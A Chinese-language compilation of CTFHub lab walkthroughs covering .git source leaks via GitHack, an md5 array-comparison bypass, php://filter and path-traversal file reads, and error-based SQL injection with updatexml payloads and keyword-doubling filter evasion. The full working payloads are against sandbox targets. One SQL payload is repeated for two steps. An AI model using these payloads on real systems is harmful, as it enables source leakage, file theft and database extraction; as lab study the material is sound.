CTFhub-weakphp过关攻略 靶场地址CTFhub一句话漏洞点.git 目录泄露源码，PHP 源码中 md5($user) == md5($pass) && $user != $pass 可用数组绕过。先常规试访问 /.git/，被拒绝说明目录存在但被拦，改用工具拉取源码。GitHack 拉取泄露的源码，拿到 index.phppython GitHack.py http://challenge-6aa607a533448e86.sandbox.ctfhub.com:10800/.git输出 [OK] index.php，说明源码已被完整下载。审计 index.php，找到绕过条件if ((md5($user) == md5($pass)) and ($user != $pass)) { echo $flag; }条件核心：两个不同参数，md5 值却要相等。传数组，两个 md5() 都返回 null，比较成立http://challenge-6aa607a533448e86.sandbox.ctfhub.com:10800/index.php?user[]=1&pass[]=2md5() 只接受字符串，收到数组会报错并返回 null；null == null 为真，[1] != [2] 也为真，两个条件同时满足。拿到 flagctfhub{b4ba4162fe4c7125393bbdb6}数组绕过 md5 是什么md5() 的参数类型是 string，传入数组时函数无法处理，PHP 直接返回 null（并抛 Warning）。两个不同的数组因此得到同一个结果 null，null == null 恒成立，判断被绕过。有效前提是弱比较 ==：两边都是 null 时相等。若代码写成 === 强比较，null === null 仍为真，所以这种写法同样防不住数组绕过。真正的修复是给参数做类型校验：if (!is_string($user) || !is_string($pass)) die();，再配合 password_hash() 这类不可逆且带盐的校验。补充手工拼 URL 时方括号需编码为 %5B%5D，浏览器直接输入 [] 也可以。同类技巧还有 md5 弱比较的哈希碰撞值（如 240610708 与 QNKCDZO 都以 0e 开头被当作科学计数法），但本题参数被数组化利用，用 [] 更直接。

CTFHub-粗心的小李过关攻略&GitHack下载 靶场链接https://www.ctfhub.com/#/challenge使用GitHack.py扫描靶场地址python GitHack.py http://challenge-0ba063bca946b086.sandbox.ctfhub.com:10800/.git/打开得到的html文件，发现flagGitHack下载：安装Python与Git下载并安装 Python安装 Git，确保在命令行可执行 git 命令。从 GitHub 获取源码：https://github.com/lijiejie/GitHack安装依赖库 在 GitHack 源码目录执行：pip install GitPython==2.1.11pip install pathlib==1.0.1运行GitHack 在 GitHack 目录打开命令行：python GitHack.py http://example.com/.git/将 http://example.com/.git/ 替换为目标地址。

CTFHub-random过关攻略 靶场链接https://www.ctfhub.com/#/challenge点击F12进入开发者模式，在网络模块找到服务器返回的数据包，响应头中有一个flag，可以看出是base64编码，解码得到flag

CTFHub-afr-1&afr-2过关攻略 靶场链接https://www.ctfhub.com/#/challengeafr-1打开看到尝试直接访问flag,不让访问，但是可以确定flag就在这个位置使用php任意文件读取方法尝试读取flagphp://filter/read=convert.base64-encode/resource=flag，得到了一个base64编码的字符串解码得到flagafr-2打开看到右键图片在新标签页打开题目提示是考验任意文件下载，尝试访问其他文件夹http://challenge-7572fa2e04d7bb34.sandbox.ctfhub.com:10800/img../成功找到flag点击下载打开得到答案

CTFHub-SQL注入-2过关攻略 靶场地址https://www.ctfhub.com/#/challenge初始界面查看源代码发现在请求头上添加?tips=1才能发burp发包这关无回显考虑使用报错注入，使用name=xxx' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+&pass=xxx，成功通过报错带出数据库接着开始报表发现请求被拦截了name=xxx' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+&pass=xxx通过复写select绕过，找到找到数据库fl4gname=xxx' and updatexml(1,concat(0x7e,(selselectect group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'),0x7e),1)--+&pass=xxx找到数据库fl4g中的表flagname=xxx' and updatexml(1,concat(0x7e,(selselectect group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'),0x7e),1)--+&pass=xxx查询得到答案name=xxx' and updatexml(1,concat(0x7e,(selselectect flag from fl4g),0x7e),1)--+&pass=xxx